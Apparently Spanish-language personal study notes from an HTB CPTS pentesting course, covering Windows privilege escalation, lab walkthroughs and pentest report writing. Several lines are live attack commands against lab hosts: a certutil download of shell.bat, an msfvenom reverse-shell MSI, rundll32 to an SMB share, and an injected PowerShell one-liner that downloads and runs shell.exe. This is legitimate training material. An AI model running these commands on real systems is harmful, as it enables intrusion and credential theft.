![[Pasted image 20260913160922.png]]
![[Pasted image 20260913160933.png]]
- Podemos verificar que copias hay en el repositorio:
restic.exe -r E:\restic2\ snapshots
![[Pasted image 20260913161005.png]]
- Restaurar copia de seguridad con ID
restic.exe -r E:\restic2\ restore 9971e881 --target C:\Restore
![[Pasted image 20260913161035.png]]
Si navegamos a C:\Restore, encontraremos la estructura de directorios donde se tomó la copia de seguridad. Para llegar al directorio SampleFolder, necesitamos navegar a C:\Restore\C\SampleFolder
Si encontramos una copia de seguridad para una máquina Linux, es posible que queramos revisar archivos como `/etc/shadow` para crackear las credenciales de los usuarios, archivos de configuración web, directorios `.ssh` para buscar claves SSH, etc.
Si estamos apuntando a una copia de seguridad de Windows, es posible que queramos buscar el hive de SAM y SYSTEM para extraer los hashes de las cuentas locales. También podemos identificar directorios de aplicaciones web y archivos comunes donde se almacenan credenciales o información sensible
![[Pasted image 20260913161203.png]]
Ejemplo practico
Accede al objetivo usando las creds de Peter y mira las aplicaciones instaladas. Que aplicacion instadala se usa para administrar y conectar a sistemas remotos
![[Pasted image 20260913161434.png]]
![[Pasted image 20260913161624.png]]
Encuentra el archivo de configuracion de la aplicacion e intenta obtener las credenciales para el usuario Grace
![[Pasted image 20260913161837.png]]![[Pasted image 20260913162036.png]]
![[Pasted image 20260913162111.png]]
Logueate como Grace y encuentra las cookies para slacktestapp.com. Usalas para loguearte y sube la flag
![[Pasted image 20260913162251.png]]
![[Pasted image 20260913162820.png]]
![[Pasted image 20260913162850.png]]
![[Pasted image 20260913162859.png]]
![[Pasted image 20260913163202.png]]
![[Pasted image 20260913163353.png]]
![[Pasted image 20260913163415.png]]
Conectate como Jeff y encuentra la pass para restic backups
![[Pasted image 20260913163600.png]]
![[Pasted image 20260913164144.png]]
Restaura el directorio que contiene los archivos necesarios para obtener los hashes pass de usuarios locales y sube el de Administrator
![[Pasted image 20260913165742.png]]
![[Pasted image 20260913165756.png]]
![[Pasted image 20260913165820.png]]
![[Pasted image 20260913170040.png]]
![[Pasted image 20260913170048.png]]
![[Pasted image 20260913170156.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 8. Tecnicas Adicionales
3. Tecnicas Varias
Binarios y scripts para LOLBAS
Proyecto LOLBAS documenta binarios, scripts y librerias que pueden ser usados para tecnicas de LOLBAS en sistemas Windows. Cada uno es un archivo firmado por Microsoft que es nativo del sistema
Transferencia de archivos con Certutil
certutil.exe: su uso previsto es manejar certificados pero se puede usar para transferir archivos
Descarga:
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat
Codificacion base64:
certutil -encode file1 encodedfile
![[Pasted image 20260914150241.png]]
Decodificacion:
certutil -decode encodedfile file2
![[Pasted image 20260914150303.png]]
rundll32.exe: puede ser usado para ejecutar archivos DLL y obtener reverse shells
Instalar siempre con privs elevados
Esto puede establecerse a traves de una GPO estableciendo Always install with elevated privileges en Habilitado en las siguientes rutas:
Configuración del equipo\Plantillas administrativas\Componentes de Windows\Windows Installer
Configuración de usuario\Plantillas administrativas\Componentes de Windows\Windows Installer
![[Pasted image 20260914150511.png]]
- Enumeracion de la configuracion always install elevated:
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
![[Pasted image 20260914150550.png]]![[Pasted image 20260914150556.png]]
- Generacion de un paquete MSI malicioso para obtener una shell inversa como SYSTEM:
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi
![[Pasted image 20260914150639.png]]
- Transferir el archivo
- Abrir un listener
- Ejecutar MSI en el objetivo:
msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart
- Obtener shell:
![[Pasted image 20260914150736.png]]
CVE-2019-1388
Fue una vuln de escalada de privs en el Dialogo de Certificado de Windows que no aplicaba correctamente los privs al usuario. El problema esta en el mecanismo UAC
Repasemos la vulnerabilidad en la practica:
- Click derecho en
hhupd.exe y ejecutar como admin
![[Pasted image 20260914150925.png]]
- Mostrar informacion del certificado del editor (abrira el dialogo del certificado). En detalles veremos que SpcSpAfencyInfo esta poblado:
![[Pasted image 20260914151035.png]]
- Si vamos a la pestaña General vemos que el campo
Issued by esta poblado por un hipervinculo. Hacemos click en el y le damos a Aceptar, el dialogo se cerrara y se abrira una ventana de navegador:
![[Pasted image 20260914151204.png]]
- Si abrimos el admin de tareas vemos que el navegador esta en contexto de SYSTEM:
![[Pasted image 20260914151231.png]]
- Click derecho en la pagina web y vemos el codigo fuente. Le damos click derecho y Guardar como para que se abra el cuadro de dialogo de Guardar como:
![[Pasted image 20260914151330.png]]
- Desde aqui podemos lanzar cualquier programa que queramos como SYSTEM escribiendo su ruta como
C:\Windows\system32\cmd.exe y le damos a Enter:
![[Pasted image 20260914151508.png]]
Se lanzo un parche en 2019
Sistemas vulns:
![[Pasted image 20260914151542.png]]
Tareas programadas
- Enumeracion de tareas programadas con schtasks
schtasks /query /fo LIST /v
![[Pasted image 20260914151814.png]]
- Enumeracion de tareas programadas con PS con Get-ScheduledTask:
Get-ScheduledTask | select TaskName,State
![[Pasted image 20260914151853.png]]
Solo podremos ver tareas programadas por nuestro usuario porque la de otros incluidos Administradores se almacena en C:\Windows\System32\Task
Pude que la tarea se encuentre en un directorio que puedan leer todos en forma de script
- Comprobacion de permisos en el directorio C:\Scripts:
.\accesschk64.exe /accepteula -s -d C:\Scripts\
![[Pasted image 20260914152119.png]]
Hay varios scripts a los que ademas tenemos permisos de escritura. Podriamos cambiar su contenido y ponerles un reverse shell, abrir un listener y dejarlo ahi. Es posible que al dia siguiente tengamos una shell una de ellas como SYSTEM
Campo de descripcion de usuario/equipo
- Comprobacion del campo descripcion porque puede que el admin haya dejado las creds en la descripcion aunque es poco comun:
Get-LocalUser
![[Pasted image 20260914152428.png]]
- Comprobacion del campo descripcion del equipo:
Get-WmiObject -Class Win32_OperatingSystem | select Description
![[Pasted image 20260914152512.png]]
Montar VHDX/VMDK
Snaffler: puede enumerar muchos tipos de archivos como archivos con frase pass, bases de datos del keepass, claves ssh…
Hay 3 tipos de archivos de especial interes:
- .vhd: Disco duro virtual
- .vhdx: Disco duro virtual v2
- .vmdk: Disco de maquina virtual
Imagina que no hemos conseguido escalar privs pero vemos un recurso compartido con copias de archivos .vmdk y .vdhx cuyos nombres coinciden con los del hostname:
- Montar VMDK en Linux:
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk
- Montar VHD/VHDX en Linux:
guestmount --add WEBSRV10.vhdx --ro /mnt/vhdx/ -m /dev/sda1
3 Montar en Windows: Click derecho en el archivo > Montar o Adminsitrador de discos > Action > Create VHD
![[Pasted image 20260914153255.png]]
Para un archivo .vmdk, podemos hacer clic derecho y elegir Mapear disco virtual en el menú. A continuación, se nos pedirá que seleccionemos una letra de unidad
Si todo va según lo planeado, podremos explorar los archivos y directorios del sistema operativo objetivo. Si esto falla, podemos usar VMWare Workstation Archivo --> Mapear discos virtuales para mapear el disco en nuestro sistema base
También podríamos añadir el archivo .vmdk a nuestra VM de ataque como un disco duro virtual adicional, y luego acceder a él como una unidad con letra. Incluso podemos usar 7-Zip para extraer datos de un archivo .vmdk. Esta guía ilustra muchos métodos para obtener acceso a los archivos en un archivo .vmdk.
- Recuperacion de hashes con secretsdump:
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
![[Pasted image 20260914153436.png]]
Ejemplo practico
Usando las tecnicas de esta seccion, encuentra la pass en texto cloro de la cuenta del host objetivo
![[Pasted image 20260914153759.png]]
![[Pasted image 20260914153838.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 9. Lidiando Con El Final De Vida De Los So
1. Sistemas Operativos Heredados
![[Pasted image 20260914154054.png]]
![[Pasted image 20260914154102.png]]
En algunos casos, es difícil o imposible para una organización actualizar o retirar un sistema al final de su vida útil debido a limitaciones de coste y de personal
Si descubrimos esto durante una evaluación, lo mejor es hablar con el cliente para entender las razones de negocio
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 9. Lidiando Con El Final De Vida De Los So
2. Windows Server
Caso de estudio Server 2008
Sherlock: script que busca parches faltantes
Windows-Exploit-Suggester: toma los resultados del comando sysinfo y compara el nivel de parches del host s con los de la base de datos de vulns de Microsoft
- Consultar el nivel de parches actual
wmic qfe
![[Pasted image 20260914163239.png]]
- Ejecutanod Sherlock:
Set-ExecutionPolicy bypass -Scope process
Import-Module .\Sherlock.ps1
Find-AllVulns
![[Pasted image 20260914163320.png]]
- Obteniendo un shell meterpreter. A partir de la salida vemos varios parches faltantes. Podemos tratar de usar uno de los CVEs localizados, por ejemplo, smb_delivery:
search smb_delivery
use 0
show options
show targets
set target 0
exploit
![[Pasted image 20260914163455.png]]
- Abrimos una cmd en el hots y ejecutamos rundll32 hacia el recurso SMB que ha creado MSF:
rundll32.exe \\10.10.14.3\lEUZam\test.dll,0
- Recibimos la shell:
![[Pasted image 20260914163552.png]]
Escalada de privs local
- Podemos buscar por el año del CVE (MS10_092 Windows Task Scheduler ‘.XML’ Privilege Escalation):
search 2010-3338
use 0
![[Pasted image 20260914163702.png]]
- Antes de usarlo debemos migrar nuestra sesion a un proceso de 64bits:
sessions -i 1
ps
migrate 2796
background
![[Pasted image 20260914163901.png]]
- Configuramos el modulo del exploit de la escalada de privs:
set SESSION 1
set lhost 10.10.14.3
set lport 4443
show options
![[Pasted image 20260914163952.png]]
- Recibimos una shell inversa elevada:
![[Pasted image 20260914164016.png]]![[Pasted image 20260914164023.png]]
Ejemplo practico
![[Pasted image 20260914164143.png]]
Obten una shell en el host, enumera el sistema y escala privs. Recupera la flag de Administrator/Desktop/flag.txt
- Nos conectamos via RDP
![[Pasted image 20260914164438.png]]
- Nos mandamos un revershell con Meterpreter
![[Pasted image 20260914165008.png]]
![[Pasted image 20260914165020.png]]
![[Pasted image 20260914165156.png]]
- Migramos a x64 ya que el host es x64
![[Pasted image 20260914165325.png]]
![[Pasted image 20260914165335.png]]
- Buscamos vulns y usamos una de ellas
![[Pasted image 20260914164641.png]]
![[Pasted image 20260914165902.png]]
- Ejecutamos la vuln para escalar privs y recuperar la flag
![[Pasted image 20260914165914.png]]![[Pasted image 20260914165934.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 9. Lidiando Con El Final De Vida De Los So
3. Versiones De Windows Desktop
Caso de estidop de Windows 7
Podemos volver a usar:
- Sherlock: script que busca parches faltantes
- Windows-Exploit-Suggester: toma los resultados del comando
sysinfo y compara el nivel de parches del host s con los de la base de datos de vulns de Microsoft
- Recopilando la salida de systeminfo:
systeminfo
![[Pasted image 20260914170342.png]]
-
Lo guardamos en un archivo de texto en nuestra maquina atacante
-
Actualizamos la base de datos de Microsoft:
sudo python2 windows-exploit-suggester.py --update
- Ejecutamos Windows Exploit Suggester:
python2 windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txt
![[Pasted image 20260914170457.png]]![[Pasted image 20260914170506.png]]
Si hubieramos obtenido un shell Meterpreter podriamos haber usado el módulo local exploit suggester en esa sesion para ayudarnos
En la lista podemos ver una lista extensa de modulos MSF y PoCs. Para eliminar el ruido podemos elimianr cualquiera que sea de DoS y los que no tengan sentido para nuestro SO
Destaca la vuln MS16-032
- Explotando MS16-032 con un PoC de PS (PoC de PowerShell):
Set-ExecutionPolicy bypass -scope process
Import-Module .\Invoke-MS16-032.ps1
Invoke-MS16-032
![[Pasted image 20260914170753.png]]
- Generando consola SYSTEM
![[Pasted image 20260914170815.png]]
Ejemplo practico
Enumera el sistema objetivo y escala privs SYSTEM. Sube la flag en Administrator\Desktop\flag.txt
- Nos conectamos via RDP
![[Pasted image 20260914171138.png]]
2, Miramos systeminfo y lo copiamos en un archivo
![[Pasted image 20260914171152.png]]
- Descargamos y usamos Windows-Exploit-Suggester desde kali o podriamos a ver manda una shell Meterpreter usando msf con smb_delivery y rundll32 como en la seccion de Windows server
![[Pasted image 20260914171442.png]]![[Pasted image 20260914171810.png]]
- Aqui nos llama la atencion MS15-032, usamos el ps1 que estaba en C:\Tools para escalar privs consiguiendo una shell SYSTEM y recuperando la flag
![[Pasted image 20260914171928.png]]
![[Pasted image 20260914171951.png]]
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 10. Skill Assessment
1. Skill Assessment Part 1
Escanea los puertos, aprovecha la vuln para obtener RCE y escala a SYSTEM
- Escaneamos los puertos
![[Pasted image 20260915153123.png]]
- Encontramos una entrada de usuario que ejecuta el comando ping y lo muestra por pantalla
![[Pasted image 20260915153226.png]]
- Recuperamos la request y la mandamos al repeater para ir probando posibles bypasses para poder ejecutar comandos
![[Pasted image 20260915154124.png]]
![[Pasted image 20260915154146.png]]
- Probamos & y bypasseamos el control de backend
![[Pasted image 20260915154201.png]]
- Creamos un archivo reverse shell
![[Pasted image 20260915160251.png]]
- Configuramos nuestro listener
![[Pasted image 20260915161252.png]]
![[Pasted image 20260915161303.png]]
![[Pasted image 20260915161315.png]]
- Ejecutamos un comando PS que descargara el archivo reverse shell y lo iniciara
& powershell -c "Invoke-WebRequest -Uri http://10.10.15.77:8888/shell.exe -OutFile C:\Windows\Temp\shell.exe; Start-Process C:\Windows\Temp\shell.exe"
![[Pasted image 20260915160436.png]]
- Obtenemos la reverse shell, miramos los KBs y nuestros privs
![[Pasted image 20260915161330.png]]
![[Pasted image 20260915162018.png]]
![[Pasted image 20260915163021.png]]
- Tras ver que tenemos SeImpersonate podremos usar JuicyPotato para escalar privs pero necesitamos el CLSID del Windows primero
![[Pasted image 20260915163844.png]]
- Tras esto descargamos en el host objetivo: JuicyPotato, nc y LaZagne
![[Pasted image 20260915162948.png]]
![[Pasted image 20260915163247.png]]
![[Pasted image 20260915164335.png]]
- Abrimos un listener donde recibiremos la shell con privs elevados de Potato
![[Pasted image 20260915164400.png]]
- Ejecutamos el comando de JuicyPotato y obtenemos la shell como SYSTEM
![[Pasted image 20260915164541.png]]
![[Pasted image 20260915164554.png]]
- Recuperamos la flag
![[Pasted image 20260915164639.png]]
- Ejecutamos LaZagne y encontramos las creds en texto plano de ldapadmin
![[Pasted image 20260915164743.png]]![[Pasted image 20260915164750.png]]
- Por ultimo buscamos el archivo confidential.txt
![[Pasted image 20260915165341.png]]![[Pasted image 20260915165348.png]]****
CPTS
4. Post Explotacion / 2. Windows Priv Escalarion / 10. Skill Assessment
2. Skill Assessment Part 2
Se te ha concedido una cuenta de usuario estándar con acceso RDP a un clon de una estación de trabajo Windows 10 de usuario estándar sin acceso a internet
Debido a controles normativos, no pueden permitir el acceso a internet en el host, por lo que tendrás que transferir tú mismo las herramientas que necesites
Enumera el host por completo e intenta escalar privilegios para obtener acceso a nivel de administrador/SYSTEM
Encuentra una credencial en texto plano de iamtheadministrator
![[Pasted image 20260915174922.png]]
![[Pasted image 20260915175207.png]]
![[Pasted image 20260915181607.png]]
![[Pasted image 20260915181721.png]]
![[Pasted image 20260915181706.png]]![[Pasted image 20260915181821.png]]
Escala privs a SYSTEM y consigue la flag en Administrator\Desktop
![[Pasted image 20260915183333.png]]
![[Pasted image 20260915181912.png]]
![[Pasted image 20260915182226.png]]
![[Pasted image 20260915182328.png]]
![[Pasted image 20260915182541.png]]
Hay 1 local admin deshabilitado en el sistema con weak pass que puede ser usado para acceder al sistema en la red. Encuentra los NTLM hashes y crackealo offline. Devuelve la pass crackeada
![[Pasted image 20260915182742.png]]
![[Pasted image 20260915182909.png]]
CPTS
5. Reporting / 1. Documentacion Y Reporting
1. Estructura Toma De Notas
-
Attack Path: esboza la ruta lo más fielmente posible utilizando capturas de pantalla y la salida de los comandos
- Ruta completa si obtienes un punto de apoyo inicial
- Comprometes uno o más hosts
-
Credentials: lugar centralizado para guardar las credenciales y secretos comprometidos
-
Findings: guardas cada vulnerabilidad o problema de seguridad que has confirmado y que probablemente terminará apareciendo en el informe final. Luego se uniran en Attack Path los exitosos
-
Vulnerability Scan Research: sección para tomar notas sobre las cosas que has investigado y probado con tus escaneos de vulnerabilidades
-
Service Enumeration Research: tomar notas sobre los servicios que has investigado, los intentos de explotación fallidos, las vulnerabilidades/malas configuraciones prometedoras
-
Web Application Research: anotar las aplicaciones web interesantes encontradas a través de diversos métodos. Siempre es bueno realizar una enumeración exhaustiva de subdominios externamente, escanear en busca de puertos web comunes en las evaluaciones internas y ejecutar una herramienta como Aquatone o EyeWitness para hacer capturas de pantalla de todas las aplicaciones
-
AD Enumeration Research: sección para mostrar, paso a paso, qué enumeración de Active Directory has realizado ya
-
OSINT
-
Administrative Information: almacenar información de contacto de otras partes interesadas del proyecto, como los Jefes de Proyecto (PMs) o los Puntos de Contacto (POCs) del cliente
-
Scoping Information: información sobre las direcciones IP/rangos CIDR dentro del alcance, las URL de las aplicaciones web y cualquier credencial para aplicaciones web, VPN o AD proporcionada por el cliente
-
Activity Log: Seguimiento de alto nivel de todo lo que hiciste durante la evaluación para una posible correlación de eventos
10:15 - Nmap contra 10.10.20.0/24, 10:42 - Enumeración SMB en 10.10.20.15
-
Payload Log: seguimiento de los payloads que estás utilizando en el entorno de un cliente
winPEAS.exe, SharpHound.exe
CPTS
5. Reporting / 1. Documentacion Y Reporting
2. Componentes De Un Reporte
Escribiendo una cadena de ataque
Se muestra la cadena de explotacion que seguimos para obtener un punto de apoyo, movernos lateralmente y comprometer el dominio.
Ayuda al lector a conectar puntos cuando se usan multiples hallazgos en conjunto y obtener un mejor comprension de por que se les asigna la calificacion de severidad que tienen dichos hallazgos
Por ejemplo, un hallazgo particular por sí solo puede ser de riesgo medio, pero, combinado con uno o dos problemas más, podría elevarlo a riesgo alto
Guia sobre una cadena de ataque
Fuimos contratados para realizar un test de penetración interno contra la empresa Inlanefreight
Para nuestros propósitos, esta evaluación simulada se realizó desde un punto de vista no evasivo con un enfoque de caja gris, lo que significa que el cliente no intentó interferir activamente con las pruebas y solo proporcionó los rangos de red dentro del alcance y nada más. Pudimos comprometer el dominio interno INLANEFREIGHT.LOCAL durante nuestra evaluación.
Cadena de ataque de muestra - Test de penetracion interno de INLANEFREIGHT.LOCAL
Se obtuvo un punto de apoyo en la red interna, se movió lateralmente y, finalmente, comprometió el dominio de Active Directory INLANEFREIGHT.LOCAL
El siguiente recorrido ilustra los pasos seguidos para pasar de ser un usuario anónimo no autenticado en la red interna a tener acceso de nivel de administrador de dominio
- El tester utilizó la herramienta Responder para obtener un hash de contraseña NTLMv2 para un usuario de dominio,
bsmith.
- Este hash de contraseña fue descifrado con éxito sin conexión utilizando la herramienta Hashcat para revelar la contraseña en texto claro del usuario, lo que otorgó un punto de apoyo en el dominio
INLANEFREIGHT.LOCAL, pero sin más privilegios que un usuario de dominio estándar.
- El tester luego ejecutó la herramienta BloodHound.py, una versión en Python de la popular herramienta de recolección SharpHound, para enumerar el dominio y crear representaciones visuales de las rutas de ataque. Tras la revisión, el tester descubrió que existían múltiples usuarios privilegiados en el dominio configurados con Nombres Principales de Servicio (SPN), que pueden ser aprovechados para realizar un ataque de Kerberoasting y recuperar tickets TGS de Kerberos para las cuentas, los cuales pueden ser descifrados sin conexión usando
Hashcat si se establece una contraseña débil. A partir de aquí, el tester utilizó la herramienta GetUserSPNs.py para llevar a cabo un ataque de Kerberoasting dirigido contra la cuenta mssqlsvc, habiendo descubierto que la cuenta mssqlsvc tenía derechos de administrador local sobre el host SQL01.INLANEFREIGHT.LOCAL, que era un objetivo interesante en el dominio.
- El tester descifró con éxito la contraseña de esta cuenta sin conexión, revelando el valor en texto claro.
- El tester se autenticó en el host
SQL01.INLANEFREIGHT.LOCAL y recuperó una contraseña en texto claro del registro del host al descifrar los secretos LSA para una cuenta (srvadmin), que estaba configurada para autologon.
- Esta cuenta
srvadmin tenía derechos de administrador local sobre todos los servidores (a excepción de los Controladores de Dominio) en el dominio, por lo que el tester inició sesión en el host MS01.INLANEFREIGHT.LOCAL y recuperó un ticket TGT de Kerberos para un usuario con sesión iniciada, pramirez. Este usuario formaba parte del grupo Tier I Server Admins, lo que otorgaba a la cuenta derechos de DCSync sobre el objeto del dominio. Este ataque se puede utilizar para recuperar el hash de contraseña NTLM de cualquier usuario en el dominio, lo que resulta en el compromiso del dominio y la persistencia a través de un Golden Ticket.
- El tester utilizó la herramienta Rubeus para extraer el ticket TGT de Kerberos del usuario
pramirez y realizar un ataque Pass-the-Ticket para autenticarse como este usuario.
- Finalmente, el tester realizó un ataque DCSync después de autenticarse con éxito con esta cuenta de usuario a través de la herramienta Mimikatz, lo que terminó en el compromiso del dominio.
Pasos detallados de reproduccion para esta cadena de ataque:
Al conectarse a la red, el tester inició la herramienta Responder y pudo capturar un hash de contraseña para el usuario bsmith suplantando el tráfico NBT-NS/LLMNR en el segmento de red local.
![[Pasted image 20261008113749.png]]
El tester logró “descifrar” este hash de contraseña sin conexión usando la herramienta Hashcat y recuperó el valor de la contraseña en texto claro, obteniendo así un punto de apoyo para enumerar el dominio de Active Directory.
![[Pasted image 20261008113801.png]]
El tester procedió a enumerar las cuentas de usuario configuradas con Nombres Principales de Servicio (SPN) que podrían ser objeto de un ataque de Keberoasting. Esta técnica de movimiento lateral/escalada de privilegios se dirige a los SPN (identificadores únicos que Kerberos utiliza para asignar una instancia de servicio a una cuenta de servicio). Cualquier usuario de dominio puede solicitar un ticket de Kerberos para cualquier cuenta de servicio en el dominio, y el ticket se cifra con el hash de contraseña NTLM de la cuenta de servicio, que potencialmente puede ser “descifrado” sin conexión para revelar el valor de la contraseña en texto claro de la cuenta.
![[Pasted image 20261008113816.png]]
El tester luego ejecutó la versión en Python de la popular herramienta de enumeración de Active Directory, BloodHound, para recopilar información como usuarios, grupos, ordenadores, ACLs, pertenencia a grupos, propiedades de usuarios y ordenadores, sesiones de usuario, acceso de administrador local y más. Estos datos pueden ser importados a una herramienta con interfaz gráfica para crear representaciones visuales de las relaciones dentro del dominio y trazar “rutas de ataque” que pueden ser utilizadas para moverse lateralmente o escalar privilegios dentro de un dominio.
![[Pasted image 20261008113828.png]]
El tester utilizó esta herramienta para verificar los privilegios de cada una de las cuentas SPN enumeradas en los pasos anteriores y notó que solo la cuenta mssqlsvc tenía privilegios más allá de un usuario de dominio estándar. Esta cuenta tenía acceso de administrador local sobre el host SQL01. Los servidores SQL suelen ser objetivos de alto valor en un dominio, ya que contienen credenciales privilegiadas, datos sensibles o incluso pueden tener un usuario más privilegiado con sesión iniciada.
![[Pasted image 20261008113858.png]]
El tester luego realizó un ataque de Kerberoasting dirigido para recuperar el ticket TGS de Kerberos para la cuenta de servicio mssqlsvc.
![[Pasted image 20261008113913.png]]
El tester logró “descifrar” esta contraseña sin conexión para revelar su valor en texto claro.
![[Pasted image 20261008113933.png]]
Esta contraseña pudo ser utilizada para acceder al host SQL01 de forma remota y recuperar un conjunto de credenciales en texto claro del registro para la cuenta srvadmin.
![[Pasted image 20261008114025.png]]
Usando estas credenciales, el tester inició sesión en el host MS01 a través de Escritorio Remoto (RDP) y notó que otro usuario, pramirez, también tenía la sesión iniciada.
![[Pasted image 20261008114323.png]]
El tester verificó la herramienta BloodHound y notó que este usuario podía realizar el ataque DCSync, una técnica para robar la base de datos de contraseñas de Active Directory aprovechando un protocolo utilizado por los controladores de dominio para replicar datos del dominio. Este ataque se puede utilizar para recuperar los hashes de contraseña NTLM de cualquier usuario en el dominio.
![[Pasted image 20261008114337.png]]
Después de conectarse, el tester utilizó la herramienta Rubeus para ver todos los tickets de Kerberos actualmente disponibles en el sistema y notó que los tickets para el usuario pramirez estaban presentes
![[Pasted image 20261008114350.png]]
El tester luego usó esta herramienta para recuperar el ticket TGT de Kerberos para este usuario, que luego puede ser usado para realizar un ataque de “pass-the-ticket” y usar el ticket TGT robado para acceder a recursos en el dominio.
![[Pasted image 20261008114405.png]]![[Pasted image 20261008114422.png]]
El usuario realizó el ataque pass-the-ticket y se autenticó con éxito como el usuario pramirez
![[Pasted image 20261008114445.png]]
Esto se confirmó usando el comando klist para ver los tickets de Kerberos en caché en la sesión actual.
![[Pasted image 20261008114459.png]]
El tester luego utilizó este acceso para realizar un ataque DCSync y recuperar el hash de contraseña NTLM para la cuenta de Administrador integrada, lo que llevó a un acceso de nivel de Administrador de Empresa sobre el dominio.
![[Pasted image 20261008114514.png]]
El tester confirmó este acceso autenticándose en un Controlador de Dominio en el dominio INLANEFREIGHT.LOCAL.
![[Pasted image 20261008114530.png]]
Con este acceso, fue posible recuperar los hashes de contraseña NTLM para todos los usuarios del dominio. El tester luego realizó un descifrado sin conexión de estos hashes utilizando la herramienta Hashcat. En los apéndices de este informe se puede encontrar un análisis de contraseñas de dominio que muestra varias métricas.
![[Pasted image 20261008114541.png]]
Guia del Resumen ejecutivo
Claves para maximizar la eficacia del Resumen Ejecutivo son:
- Escribirse para alguien que no sea técnico en absoluto
- El lector no hace esto todos los días. No saben qué hace Rubeus, qué significa la pulverización de contraseñas (password spraying), o cómo es posible que los tickets puedan otorgar diferentes tickets
- Puede que esta sea la primera vez que se someten a un test de penetración
- El resto del mundo en la era de la gratificación instantánea, su capacidad de atención es pequeña
- A nadie le gusta leer algo donde tienen que buscar en Google lo que significan las cosas
Que hacer:
-
Al hablar de métricas, sé lo más específico posible
-
Es un resumen. Mantenlo así. - Si escribiste más de 1.5-2 páginas, probablemente has sido demasiado prolijo. Examina los temas que trataste y determina si pueden agruparse en categorías de nivel superior que podrían caer en políticas o procedimientos específicos
-
Describe los tipos de cosas a las que lograste acceder - puede no tener idea de lo que significa “Domain Admin”, pero si mencionas que obtuviste acceso a una cuenta que te permitió poner tus manos en documentos de RR. HH., sistemas bancarios y otros activos críticos, eso es universalmente comprensible.
-
Describe las cosas generales que necesitan mejorar para mitigar los riesgos que descubriste: Esto no debe ser “instala 3 parches y llámame en un año”. Deberías pensar en términos de “¿qué proceso falló que permitió que una vulnerabilidad de cinco años de antigüedad no fuera parcheada en una cuarta parte del entorno?”. Si haces pulverización de contraseñas y obtienes 500 aciertos con Welcome1!, cambiar las contraseñas de esas 500 cuentas es solo una parte de la solución. La otra parte es probablemente proporcionar al servicio de asistencia (Help Desk) una forma de establecer contraseñas iniciales más fuertes de manera eficiente
-
Si te sientes valiente y tienes una cantidad decente de experiencia en ambos lados, proporciona una expectativa general sobre cuánto esfuerzo será necesario para solucionar parte de esto
Que no hacer:
- Nombrar o recomendar proveedores específicos
- Usar acrónimos. - IP y VPN han alcanzado un nivel de ubicuidad tal que quizás estén bien, pero usar acrónimos para protocolos y tipos de ataques
- Dedicar más tiempo a hablar de cosas que no importan que a los hallazgos significativos del informe
- Usar palabras que nadie ha oído antes
- Hacer referencia a una sección más técnica del informe
Cambios de vocabulario:
![[Pasted image 20261008120214.png]]
Ejemplo de Resumen Ejecutivo
Durante el test de penetración interno contra Inlanefreight, Hack The Box Academy identificó siete (7) hallazgos que amenazan la confidencialidad, integridad y disponibilidad de los sistemas de información de Inlanefreight. Los hallazgos se categorizaron por nivel de severidad, asignándose a cinco (5) de los hallazgos una calificación de alto riesgo, a uno (1) de riesgo medio y a uno (1) de riesgo bajo. También hubo un (1) hallazgo informativo relacionado con la mejora de las capacidades de monitoreo de seguridad dentro de la red interna.
El tester encontró que la gestión de parches y vulnerabilidades de Inlanefreight estaba bien mantenida. Ninguno de los hallazgos en este informe estaba relacionado con parches faltantes del sistema operativo o de terceros para vulnerabilidades conocidas en servicios y aplicaciones que pudieran resultar en acceso no autorizado y compromiso del sistema. Cada fallo descubierto durante las pruebas estaba relacionado con una mala configuración o falta de fortalecimiento (hardening), y la mayoría se clasificaba en las categorías de autenticación débil y autorización débil.
Un hallazgo involucraba un protocolo de comunicación de red que puede ser "suplantado" para recuperar contraseñas de usuarios internos que pueden ser utilizadas para obtener acceso no autorizado si un atacante logra acceso no autorizado a la red sin credenciales. En la mayoría de los entornos corporativos, este protocolo es innecesario y puede ser deshabilitado. Está habilitado por defecto principalmente para pequeñas y medianas empresas que no tienen los recursos para un servidor dedicado de resolución de nombres de host (el "directorio telefónico" de tu red). Durante la evaluación, se observaron estos recursos en la red, por lo que Inlanefreight debería comenzar a formular un plan de pruebas para deshabilitar el servicio peligroso.
El siguiente problema fue una configuración débil que involucraba cuentas de servicio que permite a cualquier usuario autenticado robar un componente del proceso de autenticación que a menudo puede ser adivinado sin conexión (mediante "descifrado" de contraseñas) para revelar la forma legible por humanos de la contraseña de la cuenta. Estos tipos de cuentas de servicio suelen tener más privilegios que un usuario estándar, por lo que obtener una de sus contraseñas en texto claro podría resultar en movimiento lateral o escalada de privilegios y, finalmente, en el compromiso completo de la red interna. El tester también notó que se usaba la misma contraseña para el acceso de administrador a todos los servidores dentro de la red interna. Esto significa que si un servidor se ve comprometido, un atacante puede reutilizar esta contraseña para acceder a cualquier servidor que la comparta para acceso administrativo. Afortunadamente, ambos problemas pueden corregirse sin necesidad de herramientas de terceros. El Active Directory de Microsoft contiene configuraciones que se pueden utilizar para minimizar el riesgo de que estos recursos sean abusados en beneficio de usuarios maliciosos.
También se encontró un servidor web que ejecutaba una aplicación web que utilizaba credenciales débiles y fáciles de adivinar para acceder a una consola administrativa que puede ser aprovechada para obtener acceso no autorizado al servidor subyacente. Esto podría ser explotado por un atacante en la red interna sin necesidad de una cuenta de usuario válida. Este ataque está muy bien documentado, por lo que es un objetivo extremadamente probable que puede ser particularmente dañino, incluso en manos de un atacante poco cualificado. Idealmente, el acceso externo directo a este servicio debería deshabilitarse, pero en caso de que no sea posible, debería reconfigurarse con credenciales excepcionalmente fuertes que se roten con frecuencia. Inlanefreight también podría considerar maximizar los datos de registro recopilados de este dispositivo para garantizar que los ataques contra él puedan ser detectados y clasificados rápidamente.
